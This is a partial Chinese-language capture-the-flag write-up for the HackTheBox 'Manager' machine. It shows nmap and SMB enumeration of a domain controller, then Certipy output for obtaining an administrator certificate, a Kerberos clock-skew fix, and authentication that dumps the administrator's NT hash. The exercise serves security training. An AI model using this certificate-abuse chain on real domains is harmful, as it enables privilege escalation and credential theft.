root@kali ~/hackthebox/machine/manager ☺ nmap -p 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389 -sCV 10.10.11.236 system: ruby 3.1.2p20 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-17 08:06 CDT Nmap scan report for manager.htb (10.10.11.236) Host is up (0.30s latency).
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Manager 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-17 13:07:04Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-03-17T13:08:39+00:00; +33s from scanner time. | ssl-cert: Subject: commonName=dc01.manager.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb | Not valid before: 2023-07-30T13:51:28 |_Not valid after: 2024-07-29T13:51:28 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-03-17T13:08:39+00:00; +35s from scanner time. | ssl-cert: Subject: commonName=dc01.manager.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb | Not valid before: 2023-07-30T13:51:28 |_Not valid after: 2024-07-29T13:51:28 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | 10.10.11.236:1433: | Target_Name: MANAGER | NetBIOS_Domain_Name: MANAGER | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: manager.htb | DNS_Computer_Name: dc01.manager.htb | DNS_Tree_Name: manager.htb |_ Product_Version: 10.0.17763 |_ssl-date: 2024-03-17T13:08:39+00:00; +34s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-03-17T11:45:12 |_Not valid after: 2054-03-17T11:45:12 | ms-sql-info: | 10.10.11.236:1433: | Version: | name: Microsoft SQL Server 2019 RTM | number: 15.00.2000.00 | Product: Microsoft SQL Server 2019 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-03-17T13:08:39+00:00; +34s from scanner time. | ssl-cert: Subject: commonName=dc01.manager.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb | Not valid before: 2023-07-30T13:51:28 |_Not valid after: 2024-07-29T13:51:28 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc01.manager.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb | Not valid before: 2023-07-30T13:51:28 |_Not valid after: 2024-07-29T13:51:28 |_ssl-date: 2024-03-17T13:08:39+00:00; +35s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 103.17 seconds
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing.
[*] Requesting certificate via RPC [-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate. [*] Request ID is 15 Would you like to save the private key? (y/N) y [*] Saved private key to 15.key [-] Failed to request certificate
[*] Rerieving certificate with ID 15 [*] Successfully retrieved certificate [*] Got certificate with UPN 'administrator@manager.htb' [*] Certificate has no object SID [*] Loaded private key from '15.key' [*] Saved certificate and private key to 'administrator.pfx'
有了管理员的PFX文件,现在可以利用它进行身份验证。在运行auth命令时,遇到错误”KRB_AP_ERR_SKEW (Clock skew too great)”。
1 2 3 4 5 6
certipy-ad auth -pfx administrator.pfx Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Using principal: administrator@manager.htb [*] Trying to get TGT... [-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
为此,需要禁用机器设置中的”Automatic Date & Time”设置,并运行以下命令来同步时钟:
1
ntpdate -s manager.htb
再次运行该命令将成功转储admin hash
1 2 3 4 5 6 7 8 9
{} manager certipy-ad auth -pfx administrator.pfx Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@manager.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hashfor'administrator' [*] Got hashfor'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef